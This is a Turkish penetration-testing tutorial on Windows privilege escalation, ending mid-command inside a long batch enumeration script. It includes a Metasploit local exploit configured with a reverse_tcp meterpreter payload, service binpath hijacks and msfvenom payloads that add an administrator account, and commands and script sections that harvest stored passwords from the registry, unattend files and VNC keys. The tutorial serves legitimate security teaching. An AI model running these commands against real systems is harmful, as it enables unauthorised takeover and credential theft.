I. GİRİŞ
Neden yetki yükseltme ihtiyacımız var?
Sızma testi çalışmalarında nihai hedefimiz sistem üzerindeki en üst yetki seviyesine ulaşmaktır. Eğer sisteme adım atmamıza imkan veren açıklığı barındıran servis veya uygulama sistem yöneticisi hakları ile çalışıyorsa ya da biz sistem yöneticisi olan bir kullanıcı hesabı ile sisteme erişmiş isek zaten bu haklara sahibizdir. Ancak eğer açıklığı barındıran servis daha düşük haklara sahip bir kullanıcı hesabı ile çalışıyorsa veya erişim bilgilerini ele geçirdiğimiz / tahmin ettiğimiz kullanıcı sistem yöneticisinden düşük haklara sahip ise bu durumda sistem yöneticisi haklarına erişmek için ekstra bir çaba daha göstermek durumundayız.
Neden yetki yükseltme ihtiyacımız var sorusunun özet yanıtı sıradan kullanıcı hakları ile elde edemeyeceğimiz verileri de elde etmek istememizdir. Sistem yöneticisi olduğumuzda sistem üzerinde tanımlı tüm kullanıcı parola hash’lerine ve bunlara ait dizinlere erişerek sızma testinin daha sonraki adımlarında da bu bilgilerden faydalanabiliriz.
Bu makalemizde Windows ve Linux / Unix işletim sistemleri için izlenebilecek jenerik yetki yükseltme yöntemlerine değinecek ve bu yöntemlerin uygulanabilmesi için son derece önemli olan bilgi toplama (enumeration) script örneklerini paylaşacağız.
Jenerik yetki yükseltme metodu
En sade haliyle bir sisteme eriştiğimizde yetki yükseltme metodunu şu şekilde özetleyebiliriz:
• Mevcut kullanıcımızın kim olduğu ve bu kullanıcının sistem üzerindeki haklarının anlaşılması (mevcut kullanıcımız sistem yöneticisi olmasa da sistem yöneticisi komutlarını çalıştırma hakları bulunabilir, diğer kullanıcılar hedef alınabilir) • Sistem üzerinde lokal yetki yükseltme imkanı verebilecek açıklıklarını kapatan işletim sistemi yamalarının uygulanıp uygulanmadıklarının incelenmesi • Sistem servisleri, zamanlı işler ve yüksek yetkili uygulamaların tespiti, bunların hangi kullanıcı hakları ile çalıştıklarının incelenmesi, yetki yükseltme açıklığı barındırıp barındırmadıklarının, konfigürasyon zayıflıklarının incelenmesi • Uzaktan erişilemeyen ancak lokal olarak erişilebilen proses ve ağ servislerinin tespiti, bunlarda bulunabilecek açıklıkların veya bunların konfigürasyonlarındaki güvensiz ayarların incelenmesi • (Mevcut kullanıcı hakları ile erişebildiklerimiz için) Sistem üzerindeki diğer kullanıcı home dizinlerinin, sistemin niteliğine uygun olarak belli sistem dosyalarının / veritabanlarının (ör: registry) diğer kullanıcı hesaplarına geçiş imkanı sağlayabilecek erişim bilgileri, v.b. bilgileri barındırıp barındırmadıklarının incelenmesi amacıyla gözden geçirilmesi
Yukarıdaki listedeki maddeler jenerik olmasına jenerik, ancak nasıl uygulanacakları işletim sistemine bağlı olduğu için anlaşılırlıkları doğal olarak düşük. Bu nedenle aşağıda söz konusu yöntemlerin Windows ve Linux / Unix işletim sistemleri üzerinde nasıl uygulandıklarını göreceğiz.
II. WINDOWS İŞLETİM SİSTEMİNDE YETKİ YÜKSELTME
Kullanıcı bilgilerimiz ve yetki seviyemiz
C:\> whoami
Bu komut bize domain name (veya makine adı) ve kullanıcı adımızı verir.
C:\> whoami /groups
Bu komut bize kullanıcımızın üye olduğu kullanıcı gruplarını listeler. Bu gruplar arasında Administrators grubunun var olup olmadığı lokal administrator haklarına sahip olup olmadığımızı anlamak için incelenmelidir (whoami /groups | findstr Administrators)
Sistem üzerindeki kullanıcılar ve kullanıcı grupları ile Administrators grubuna üye kullanıcıları listelemek için aşağıdaki komutları kullanabiliriz:
C:\> net users
C:\> net localgroup
C:\> net localgroup Administrators
Eğer açıklığı Metasploit ile istismar etmişsek veya sisteme eriştikten sonra sistem üzerinde bir meterpreter payload’u çalıştırarak aktif bir meterpreter oturumu oluşturmuşsak aşağıdaki Metasploit post exploitation modülünü kullanarak kullanıcımızın hakları ile ilgili enumeration yapabiliriz (söz konusu fonksiyonalitenin nasıl sağlandığını incelemek isterseniz şu Metasploit kütüphane koduna göz atabilirsiniz:
/usr/share/metasploit-framework/lib/msf/core/post/windows/priv.rb):
meterpreter> run post/windows/gather/win_privs
Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti
Windows işletim sistemi versiyonu ve üzerinde yüklü yamaları listeleyen komut aşağıdaki gibidir:
C:\> systeminfo
Ancak bu komut sonuçlarından yola çıkarak manuel biçimde inceleme yapmak malesef pek verimli olmayacaktır. Bu nedenle söz konusu çıktıları değerlendirmek üzere başkaları tarafından geliştirilmiş bir çözümden faydalanabiliriz.
https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windowsexploit-suggester.py
Tabi bu script’in bakımının sürekli yapılacağına güvenemeyiz, bu yüzden ne yaptığını da anlamamız gerekir veya desteklenen başka bir araca yönelmemiz gerekebilir. Windows exploit suggester python kodunu linux üzerinde kullanabiliriz, neticede bu bir python kodu. Bu kodu kullanırken izlememiz gereken adımlar şunlardır:
• systeminfo komutunun çıktısını bir dosyaya yazmak.
• windows-exploit-suggester.py script’ini kullanarak Microsoft tarafından yayınlanmış olan tüm yamaların listesini bilgisayarımıza indirmek.
• Daha önceden yüklenmemiş ise XLS dosyaları parse edebilmek için gerekli xlrd Python kütüphanesini kurmak.
• windows-exploit-suggester.py script’ini kullanarak mevcut yamalar ve sistem üzerinde yüklü yamaları karşılaştırmak.
• Script’in çıktıları içinde privilege escalation açıklıklarını incelemek ve denemek.
Aşağıda hedef sisteme bir meterpreter oturumumuz bulunduğu varsayımıyla yukarıdaki işlemlerin nasıl yapılabileceğine ilişkin örnek adımları görebilirsiniz:
shell> systeminfo > C:\\windows\\temp\\systeminfo.txt
meterpreter> download C:\\windows\\temp\\systeminfo.txt
# ./windows-exploit-suggester.py –update
# pip install xlrd
# ./windows-exploit-suggester.py -i systeminfo.txt -d 2017-06-27-mssb.xls > winexploits.txt
Aşağıdaki komutlarla işletim sistemi versiyonu ve privilege escalation açıklıkları listelenir:
# grep -i version winexploits.txt
# grep -i priv winexploits.txt
Lokal exploit’leri denemek için bu kodları hedef sisteme upload etmek ve çalıştırmak gerekir. PE dosya formatında (executable) dosyalar için dosyayı hemen kullanabiliriz. Ancak Python dilinde yazılmış olan local exploit dosyalarını aşağıdaki gibi exe formatına dönüştürerek kullanabiliriz. Bu işlemden önce PyWin32 python extension’ını Windows üzerinde kurmamız gerekir. Aşağıdaki işlem de Windows üzerinde yapılmalıdır:
C:\> python pyinstaller.py –onefile ms11-080.py
Önemli Not: Local exploit’ler de işletim sisteminin 32 bit veya 64 bit olmasına bağımlılık olabilmektedir. Dolayısıyla local exploit kodlarını kullanırken systeminfo çıktısında da görülebilecek bu bilgiye dikkat edilmelidir.
Yine mevcut bir meterpreter oturumunuz mevcut olmak şartıyla Metasploit’in bir post exploitation modülü kullanılabilir.
meterpreter> run post/multi/recon/local_exploit_suggester
Metasploit içinde mevcut bir meterpreter oturumu üzerinden Metasploit’te bulunan bir local exploit’i ise aşağıdaki gibi kullanabiliriz:
msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(ms14_058_track_popup_menu) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(ms14_058_track_popup_menu) > set LPORT 28746
LPORT => 28746
msf exploit(ms14_058_track_popup_menu) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set TARGET 1
TARGET => 1
msf exploit(ms14_058_track_popup_menu) > set SESSION 3
SESSION => 3
msf exploit(ms14_058_track_popup_menu) > set ExitOnSession false
ExitOnSession => false
msf exploit(ms14_058_track_popup_menu) > exploit -j
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi
Windows işletim sisteminde kendine has bir servis yapısı bulunmaktadır. Bu Windows Servislerinden bir kısmı LocalService hakları ile çalışabilmektedir. Servislerdeki yama eksikliklerinin zaten bir önceki adımda tespit edilmesini bekleriz. Bu adımda servislerin konfigürasyonu ile ilgili açıklıklar aramamız gerekir. Bu açıklıklar:
• Servisin konfigürasyonunun sıradan kullanıcılar tarafından değiştirilebilmesidir. Burada hedefimiz servisin çalıştırdığı dosyanın bizim yüklediğimiz bir payload olarak değiştirilmesi ve daha sonra servisin başlatılması veya yeniden başlatılması gerekecektir. Windows XP SP0 ve SP1’den sonra öntanımlı olarak gelen böyle bir açıklık bulmak zordur. Ancak her zaman bir admin tarafından bu tür bir hata yapılabilir elbette.
• Servis konfigürasyonunda görünen çalıştırılabilir dosyanın kendi yüklediğimiz bir payload ile ezilebilmesidir. Bu durumda servis başlatıldığında konfigürasyon değişmese de çalışacak olan kod değişmiş olacaktır.
Belli bir servis konfigürasyonu hakkında bilgi elde etmek için aşağıdaki komutu kullanmak gerekir:
C:\> sc qc serviceadi
Bu servisin konfigürasyon değişiklik haklarını görmek için ise aşağıdaki komutu kullanmak gerekir:
C:\> sc sdshow serviceadi
Ancak bu şekilde servisleri tek tek incelemek ve her bir servis için de anlaşılması zor erişim haklarını incelemek pek pratik değildir. Bunun için sysinternals grubu tarafından geliştirilmiş olan “accesschk” aracının kullanılması en makul yöntemdir. Bu aracı hedef bilgisayara yükledikten sonra aşağıdaki komutları çalıştırarak sıradan kullanıcıların servisler üzerindeki hakları sorgulanabilir:
accesschk.exe -uwcqv “Authenticated Users” * /accepteula
accesschk.exe -uwcqv “Users” * /accepteula
accesschk.exe -uwcqv “Everyone” * /accepteula
Writable servislerin tespit edilmesi halinde yapılması gereken işlem (upnphost ve ssdpsrv servislerindeki bu açıklık Windows XP SP 0 ve 1 için geçerlidir)
sc config upnphost binpath= “net user btr1 Password1 /add”
sc stop upnphost
sc start upnphost
sc config upnphost binpath= “net localgroup Administrators btr1 /add”
sc stop upnphost
sc start upnphost
Veya kullanıcı ekleme işini yapan bir exe’de üretebilir ve bunu kullanabilirdik (bu exe payload’u sadece kullanıcıyı eklemiyor, ayrıca bunu Administrators grubuna da üye yapıyor):
# msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f exe > adduser.exe
Hedef bilgisayar üzerinde RDP servisi açık ise rdesktop aracı ile Kali’den user kullanıcısı ve Administrators hakları ile sisteme bağlanabiliriz:
# rdesktop -u btr1 10.11.1.13
Kullanıcı ekledikten sonra eğer herhangi bir terminal imkanımız yoksa aşağıdaki komutla kullanıcımızla bir payload’u çalıştırabiliriz (bu payload’da bize ikinci bir shell açabilir):
C:\> runas /user:btr1\Password1 “C:\Users\BTR1\AppData\Local\Temp\payload.exe”
Malesef servis exe dosyalarına yazma haklarını topluca denetlemek için kullanabileceğimiz yöntem öncelikle “wmic” komutunun kullanılarak servis bilgilerinin listelenmesini gerektirmektedir. Ancak “wmic” komutu local Administrators grubuna üye kullanıcılar tarafından çalıştırılabilmektedir. (Aşağıdaki script’te de bu komut kullanılmıştır, eğer farklı bir yöntem hakkında bilgisi olan varsa bizi yönlendirebilirse seviniriz)
Bu nedenle servisleri aşağıdaki komutla tüm servisler listelenebilir ve ardından ilginç gelebilecek servis adları için tek tek servis exe yolları (BINARY_PATH_NAME) sorgulanabilir ve bu dosyaların bulunduğu dizinlerdeki yazma hakları da accesschk aracı ile incelenebilir:
C:\> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde servis adı görülür]
C:\> sc qc serviceadi [servis ile ilgili bilgiler sorgulanır, BINARY_PATH_NAME bölümünde exe yolu görülür]
Bir dizin üzerindeki erişim izinlerini görmek için örnek accesschk.exe kullanımı (q – Omit banner, d – Only process directories or top level key, v – Verbose):
C:\> accesschk.exe -dqv “C:\Python27” /accepteula
Bir dosya üzerindeki erişim izinlerini görmek için örnek accesschk.exe kullanımı:
C:\> accesschk.exe -qv filename.txt /accepteula
Eğer servisi tekrar başlatma hakkımız yoksa ve servis otomatik olarak işletim sistemi açılışında başlatılıyorsa aşağıdaki komutla sistemi reboot edebiliriz:
C:\> shutdown /r /t 0
Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi
Windows servislerine ek olarak uzaktan erişilemese de loopback arayüzünden erişilebilen ağ servisleri de eğer yüksek haklarla çalışıyorlar ve bir açıklığa sahiplerse privilege escalation saldırısı için bir araç olarak kullanılabilirler.
Sistem üzerinde aktif ağ servislerinin görüntülenmesi için (local admin haklarına sahip değilsek servisin arkasında çalışan uygulama adını göremeyiz):
C:\> netstat -anob [o – process id’sini, b – binary dosyayı gösterir]
Local admin hakkına sahip olmadığımızda ağ servislerinin arkasında çalışan binary görüntülenmeyecektir. Bunun için process id’sinden proses uygulama adını görmek için aşağıdaki komutu kullanabiliriz:
C:\> tasklist /fi “pid eq 1064”
Sistem üzerinde çalışan tüm proses’lerin listesi ve varsa bu proses’lerden bir Windows servisi ile ilişkili olanları aşağıdaki komut ile listelenir:
C:\> tasklist /SVC
Bu sorguların sonunda gözlemlenen uygulamalarla ilgili açıklıklar açık kaynaklardan incelenebilir ve local privilege escalation imkanı sunan proses’ler varsa değerlendirilebilir.
Proses’lerin hangi kullanıcı hakları ile çalıştıklarını da incelemek için aşağıdaki komut kullanılabilir:
C:\> tasklist /V
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması
Parola barındıran dosyalar
Windows üzerinde bazı kurulum işlemleri sırasında Administrator kullanıcı parolası (Base64 kodlu olarak) belli dosyalar içinde bilgisayar üzerinde saklanabilmektedir. Aşağıda bu dosyalardan bir kısmını tespit etmek için kullanılabilecek komutları bulabilirsiniz:
Bu adım ve sonraki dosya incelemelerinde hedef sistem üzerindeki dosya isimlerinin aşağıdaki komutla bir dosyaya yazılmasında fayda vardır.
C:\> dir \ /a/s/b > dosyalistesi.txt
Daha sonra aşağıdaki komutlarla bu dosya içinde Administrator kullanıcı parolası barındırma ihtimali bulunan dosya isimlerini arayabiliriz.
C:\> type dosyalistesi.txt | findstr /I unattend.xml
C:\> type dosyalistesi.txt | findstr /I unattend.txt
C:\> type dosyalistesi.txt | findstr /I sysprep.inf
C:\> type dosyalistesi.txt | findstr /I sysprep.xml
Administrator hakları ile kurulum dosyası çalıştırma yetkisi
Windows üzerinde yapılan kurulumlarda düşük yetkili kullanıcılara sistem yöneticisi hakları ile kurulum yapma yetkisi bulunan bazı registry kayıtları bulunmaktadır. Bu kayıtların mevcudiyeti ve değerlerinin “1” olması yüksek yetkili haklarla bir kurulum (msi) dosyası çalıştırma imkanını sağlar.
Always install elevated ayarının kontrol edilmesi için kullanılan komutlar:
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Bu imkanın bulunması halinde msfvenom ile bir “msi” payload’u oluşturarak local Administrators grubuna bir kullanıcı ekleyebiliriz:
# msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f -f msi-nouac -o adduser.msi
C:\> msiexec /quiet /qn /i C:\Users\BTR-1\AppData\Local\Temp\adduser.msi
Öntanımlı kullanıcı adı ve parola barındıran registry kayıtları
Windows işletim sistemi üzerinde öntanımlı olarak erişim bilgilerinin saklandığı register kayıtları bulunabilmektedir. Bu kayıtlar sayesinde bilgisayar açılırken belirtilen erişim bilgileri ile otomatik logon sağlanmaktadır. Bu kayıtların varlığını aşağıdaki gibi test edebiliriz:
reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon” /v DefaultPassword 2> nul
reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon” /v DefaultUsername 2> nul
reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon” /v DefaultDomainname 2> nul
Windows işletim sisteminde registry yapısı çok geniş bir bilgi toplama imkanı sağlayabilmektedir. Bu bilgiler arasında parola bilgisi de bulunabilir. Bunlara örnek olarak VNC erişim şifreleri verilebilir.
reg query HKLM\SOFTWARE\RealVNC\vncserver /v Password 2> NUL
reg query HKLM\Software\TightVNC\Server /v Password 2> NUL
[daha geniş bir liste aşağıdaki script içinde bulunabilir]
Daha jenerik biçimde içinde “password” kelimesi geçen tüm registry kayıtları aşağıdaki komutlarla araştırılabilir:
reg query HKLM /k /f password /t REG_SZ /s
reg query HKCU /k /f password /t REG_SZ /s
Tırnak ile kapatılmamış servis çalıştırılabilir dosya yolu
Windows servislerine özel bir başka açıklık türü de servis konfigürasyonunda BINARY_PATH_NAME değerinin tırnak işaretleri ile çevrelenmemiş olması durumudur. Böyle bir değere aşağıdaki örneği verelim:
C:\Program Files\sub dir\program name.exe
Windows işletim sistemi bu çalıştırılabilir kodu çalıştırmak için şu sırada dosya arayacaktır:
C:\program.exe files\sub dir\program name
C:\program files\sub.exe dir\program name
C:\program files\sub dir\program.exe name
Yukarıdaki sırada bulunan ilk exe (veya diğer Windows çalıştırılabilir dosya uzantılı) dosya bulunduğunda çalıştırılır. Eğer düşük haklara sahip kullanıcı olarak örneğin “C:\Program Files\sub dir\” dizinine yazma hakkımız varsa, program.exe adıyla oluşturacağımız bir payload dosyasını buraya yerleştirerek servisin çalışma hakları ile payload’umuzu çalıştırabiliriz (tabi servisin yeniden başlatılması neticesinde).
Tekrar hatırlamak gerekirse servis listesini almak için:
C:\> sc query
Bir servisin konfigüasyon ayarlarını görmek için:
C:\> sc qc servisadi
Bir dizinin erişim haklarını incelemek için:
C:\> accesschk.exe -dqv “C:\program files\sub dir ” /accepteula
komutlarını kullanabiliriz.
Dosya adı ve içerik araştırma
Son olarak hassas veri barındırabileceğini düşündüğümüz dosya isimlerini aramak ve parola v.b. bilgileri barındırabilecek dosyaları tespit etmek için aşağıdaki komutları kullanabiliriz (özellikle dosyalar içinde kelime aramanın çok uzun zaman alabileceğini hatırlayınız):
C:\> type dosyalistesi.txt | findstr /I \.*ssh.*[.]ini$
C:\> type dosyalistesi.txt | findstr /I \.*ultravnc[.]ini$
C:\> type dosyalistesi.txt | findstr /I \.*vnc[.]ini$
C:\> findstr /si “password=” C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
C:\> findstr /si “passwd=” C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
C:\> findstr /si “pass=” C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
C:\> findstr /si “pwd=” C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
WINDOWS ENUMERATION SCRIPT’İ
ÖNEMLİ NOT: Bu makalede yer alan script’leri çalıştırmanızdan kaynaklanabilecek risklerle ilgili sorumluluk size aittir. Çalıştırmadan önce script’leri okumalı ve tam olarak anlamalısınız. Zaten script’ler size hazır biçimde açıklıkları listelemeyecek, sizin incelemeniz gereken sonuçları üretecektir.
Windows enumeration script’inin son bölümlerinde bulunan çok sayıda dosya içinde parola arayan bölümdeki komutlarda olduğu gibi bazı komutların tamamlanması çok uzun süre alabilir. Bu tür durumlarda script’i kısaltmak isteyebilirsiniz.
Sisteme eriştiğimiz kullanıcıların yetkileri script’lerdeki tüm komutları çalıştırmaya yetmeyebilir. Bu durumlarda oluşturulacak hata mesajlarının çıktılarımızı kirletmemesi için “standard error redirection” yönetmini kullanıyoruz (2> nul). Bu yöntem sayesinde hata mesajları “standard output”a yazılmıyor.
@echo OFF echo ======================================================= echo TEMEL BILGILER echo ======================================================= echo ******************************************************* echo KULLANICI DOMAIN VE ADI – WINDOWS XP USULU echo ******************************************************* echo Domain: %userdomain% 2> nul echo Username: %username% 2> nul echo ******************************************************* echo KULLANICI DOMAIN VE ADI – WHOAMI echo ******************************************************* whoami 2> nul echo ******************************************************* echo ISLETIM SISTEMI ADI VE VERSIYONU echo ******************************************************* systeminfo | findstr /B /C:”OS Name” /C:”OS Version” echo ******************************************************* echo SUNUCU ADI echo ******************************************************* hostname echo ******************************************************* echo ADMINISTRATORS GRUBUNA UYE MIYIZ – ASAGIDA ADMINISTRATORS GRUBUNUN ADI MEVCUTSA EVET echo ******************************************************* whoami /groups | findstr Administrators echo ******************************************************* echo KULLANICIMIZIN UYESI OLDUGU GRUPLAR echo ******************************************************* whoami /groups echo ******************************************************* echo ADMINISTRATORS GRUBUNUN UYELERI echo ******************************************************* net localgroup Administrators echo ******************************************************* echo KULLANICI LISTESI echo ******************************************************* net users echo ******************************************************* echo KULLANICI GRUPLARI echo *******************************************************net localgroup echo ******************************************************* echo CALISAN PROSESLER VE ILGILI SERVIS BILGILERI echo ******************************************************* tasklist /SVC echo ******************************************************* echo DINLEYEN AG SERVISLERI (sadece process id leri gosterebiliyoruz, binary opsiyonu icin yuksek haklar gerekiyor) echo ******************************************************* netstat -ano echo ******************************************************* echo CALISAN SERVISLER echo ******************************************************* net start echo ******************************************************* echo DRIVERLAR (driverquery /V SORGUSU ILE DETAYLI BILGI ALINABILIR) echo ******************************************************* driverquery echo ******************************************************* echo CEVRESEL DEGISKENLER echo ******************************************************* set echo ******************************************************* echo SYSTEMINFO BILGISI (Ayni zamanda systeminfo-enum.txt dosyasina yazilir) echo ******************************************************* systeminfo > systeminfo-enum.txt && type systeminfo-enum.txt echo ******************************************************* echo PAYLASIMLAR echo ******************************************************* net share echo ******************************************************* echo HOSTS DOSYASI echo ******************************************************* more %WINDIR%\System32\drivers\etc\hosts echo ******************************************************* echo NETWORKS DOSYASI echo ******************************************************* more %WINDIR%\System32\drivers\etc\networks echo ******************************************************* echo GROUP POLICY echo ******************************************************* gpresult /R 1>2>NUL IF %ERRORLEVEL% == 1 ( REM WINXP gpresult ) ELSE ( REM WIN7 gpresult /R )
echo ======================================================= echo KISA INCELEME echo ======================================================= echo Asagidaki komutlarin calisabilmesi icin script ile ayni dizinde accesschk.exe nin de bulunmasi gereklidir echo Asagida belirtilen dizinlere erisim izinlerinin manuel olarak accesschk.exe veya cacls araclari ile incelenmesi gerekmektedir echo ******************************************************* echo SERVIS KONFIGURASYONU AUTHENTICATED USERS GRUBU TARAFINDAN DEGISTIRILEBILEN SERVISLER (WINDOWS XP SP 0 – 1)
echo u – Suppress errors w – Show only objects that have write access c – Name is a windows service q – Omit banner v – Verbose echo Ayrica kullanicimizin uye oldugu ilginc bir grup varsa bunlar icin de elle accesschk i calistirmakta fayda var echo ******************************************************* accesschk.exe -uwcqv “Authenticated Users” * /accepteula echo ******************************************************* echo SERVIS KONFIGURASYONU USERS GRUBU TARAFINDAN DEGISTIRILEBILEN SERVISLER (WINDOWS XP SP 0 – 1) echo ******************************************************* accesschk.exe -uwcqv “Users” * /accepteula echo ******************************************************* echo SERVIS KONFIGURASYONU EVERYONE GRUBU TARAFINDAN DEGISTIRILEBILEN SERVISLER (WINDOWS XP SP 0 – 1) echo ******************************************************* accesschk.exe -uwcqv “Everyone” * /accepteula echo ******************************************************* echo ALWAYS INSTALL ELEVATED AYARI AKTIF MI (EGER REGISTRY ANAHTAR 1 DEGERI CIKIYORSA AKTIFTIR) echo ******************************************************* reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul echo ******************************************************* echo SERVIS EXECUTABLE I TIRNAK ILE BELIRTILMEMIS SERVISLER (Manuel olarak dizinlere erisim haklarinin kontrol edilmesi gereklidir) echo WMIC komutu administrators grubuna uye degilsek calismayacaktir echo ******************************************************* wmic service get name,displayname,pathname,startmode 2> nul |findstr /i /v “c:\windows\\” |findstr /i /v “”” echo ******************************************************* echo SERVIS EXECUTABLE DOSYALARI ERISIM HAKLARI echo ******************************************************* if exist serviceexes.txt del serviceexes.txt if exist dosyalistesi.txt del dosyalistesi.txt dir \ /a/s/b > dosyalistesi.txt for /f “tokens=1 delims=,” %%a in (‘tasklist /SVC /FO CSV ^| findstr /I \.*exe*. ^| findstr /VI “smss.exe csrss.exe winlogon.exe services.exe spoolsv.exe explorer.exe ctfmon.exe wmiprvse.exe msmsgs.exe notepad.exe lsass.exe svchost.exe findstr.exe cmd.exe tasklist.exe”‘) do (findstr %%a$ | findstr /VI “\.*winsxs\\*.”) <dosyalistesi.txt >> serviceexes.txt for /f “tokens=*” %%a in (serviceexes.txt) do (cacls “%%a”) echo ******************************************************* echo SERVIS BILGILERI – BINARY_PATH_NAME VE SERVICE_START_NAME BILGILERI ILE echo ******************************************************* for /f “tokens=2” %%a in (‘sc queryex type^= service state^= all ^| find ^/i “SERVICE_NAME”‘) do (sc qc %%a) echo ******************************************************* echo SERVIS BILGILERI – CALISMA DURUMLARI ILE echo ******************************************************* sc queryex type= service state= all echo ******************************************************* echo ZAMANLI (SCHEDULED) ISLER echo Bu islerin calistirdigi dosyalara erisim izinlerinin kontrol edilmesi gerekmektedir echo Schedule type hangi siklikta calisacagini Task to run hangi kodun calisacagini belirtir echo Run as user bolumu hangi kullanici haklari ile calisacagini belirtir echo ******************************************************* schtasks /query /fo LIST /v
echo ******************************************************* echo DEFAULT LOGON PAROLASI echo ******************************************************* reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon” /v DefaultPassword 2> nul echo ******************************************************* echo DEFAULT LOGON KULLANICI ADI echo ******************************************************* reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon” /v DefaultUsername 2> nul echo ******************************************************* echo DEFAULT LOGON DOMAIN ADI echo ******************************************************* reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon” /v DefaultDomainname 2> nul echo ******************************************************* echo ICINDE ONTANIMLI CREDENTIAL BARINDIRABILECEK DOSYALAR echo ******************************************************* type dosyalistesi.txt | findstr /I unattend.xml type dosyalistesi.txt | findstr /I unattend.txt type dosyalistesi.txt | findstr /I sysprep.inf type dosyalistesi.txt | findstr /I sysprep.xml echo ******************************************************* echo VNC PAROLALARI ICEREBILECEK REGISTERY ANAHTARLARI echo ******************************************************* reg query HKLM\SOFTWARE\RealVNC\vncserver /v Password 2> NUL reg query HKLM\Software\TightVNC\Server /v Password 2> NUL reg query HKCU\Software\TightVNC\Server /v Password 2> NUL reg query HKLM\Software\TightVNC\Server /v PasswordViewOnly 2> NUL reg query HKLM\Software\TigerVNC\WinVNC4 /v Password 2> NUL reg query HKLM\SOFTWARE\ORL\WinVNC3\Default /v Password 2> NUL reg query HKLM\SOFTWARE\ORL\WinVNC3 /v Password 2> NUL reg query HKCU\Software\ORL\WinVNC3 /v Password 2> NUL
echo ======================================================= echo UZUN INCELEME echo ======================================================= echo ******************************************************* echo REGISTRY KAYITLARI ICINDEKI OLASI PASSWORD DEGERLERI echo ******************************************************* reg query HKLM /k /f password /t REG_SZ /s reg query HKCU /k /f password /t REG_SZ /s echo ******************************************************* echo ILGINC DOSYA ADLARI echo ******************************************************* type dosyalistesi.txt | findstr /I \.*proof[.]txt$ type dosyalistesi.txt | findstr /I \.*network-secret[.]txt$ type dosyalistesi.txt | findstr /I \.*ssh.*[.]ini$ type dosyalistesi.txt | findstr /I \.*ultravnc[.]ini$ type dosyalistesi.txt | findstr /I \.*vnc[.]ini$ type dosyalistesi.txt | findstr /I \.*bthpan[.]sys$ type dosyalistesi.txt | findstr /I \.*\\repair$ type dosyalistesi.txt | findstr /I \.*passw*. | findstr /VI \.*.chm$ | findstr /VI \.*.log$ | findstr /VI \.*.dll$ | findstr /VI \.*.exe$ type dosyalistesi.txt | findstr /I \.*[.]vnc$ type dosyalistesi.txt | findstr /I \.*groups[.]xml$ type dosyalistesi.txt | findstr /I \.*printers[.]xml$ type dosyalistesi.txt | findstr /I \.*drives[.]xml$ type dosyalistesi.txt | findstr /I \.*scheduledtasks[.]xml$ type dosyalistesi.txt | findstr /I \.*services[.]xml$ type dosyalistesi.txt | findstr /I \.*datasources[.]xml$
type dosyalistesi.txt | findstr /I \.*.rsa.*[.].*$ | findstr /VI \.*.dll$ | findstr /VI \.*.rat$ type dosyalistesi.txt | findstr /I \.*.dsa.*[.].*$ | findstr /VI \.*.dll$ | findstr /VI \.*.exe$ | findstr /VI \.*.gif$ | findstr /VI \.*.handsafe[.]reg$ type dosyalistesi.txt | findstr /I \.*[.]dbx$ type dosyalistesi.txt | findstr /I \.*.account.*.$ | findstr /VI \.*.User.Account.Picture.*. | findstr /VI \.*.bmp$ type dosyalistesi.txt | findstr /I \.*ntds[.].*$ type dosyalistesi.txt | findstr /I \.*hiberfil[.].*$ type dosyalistesi.txt | findstr /I \.*boot[.]ini$ type dosyalistesi.txt | findstr /I \.*win[.]ini$ type dosyalistesi.txt | findstr /I \.*.\\config\\RegBack type dosyalistesi.txt | findstr /I \.*.\\CCM\\logs type dosyalistesi.txt | findstr /I \.*.\\iis.[.]log$ type dosyalistesi.txt | findstr /I \.*.\\Content.IE.\\index.dat$ type dosyalistesi.txt | findstr /I \.*.\\inetpub\\logs\\LogFiles type dosyalistesi.txt | findstr /I \.*.\\httperr\\httpe.*.[.]log$ type dosyalistesi.txt | findstr /I \.*.\\logfiles\\w3svc1\\ex.*.[.]log$ type dosyalistesi.txt | findstr /I \.*.\\Panther\\ | findstr /VI \.*.Resources\\Themes\\.*. type dosyalistesi.txt | findstr /I \.*.syspre.*,[.]…$ type dosyalistesi.txt | findstr /I \.*.unatten.*.[.]txt$ type dosyalistesi.txt | findstr /I \.*.unatten.*.[.]xml$ type dosyalistesi.txt | findstr /I \.*Login.Data$ type dosyalistesi.txt | findstr /I \.*Web.Data$ type dosyalistesi.txt | findstr /I \.*Credentials.Store$ type dosyalistesi.txt | findstr /I \.*Credential.Store$ type dosyalistesi.txt | findstr /I \.*Microsoft\\Credentials.* echo ******************************************************* echo OLASI PASSWORD DEGERLERI echo ******************************************************* findstr /si “password=” C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul findstr /si “passwd=” 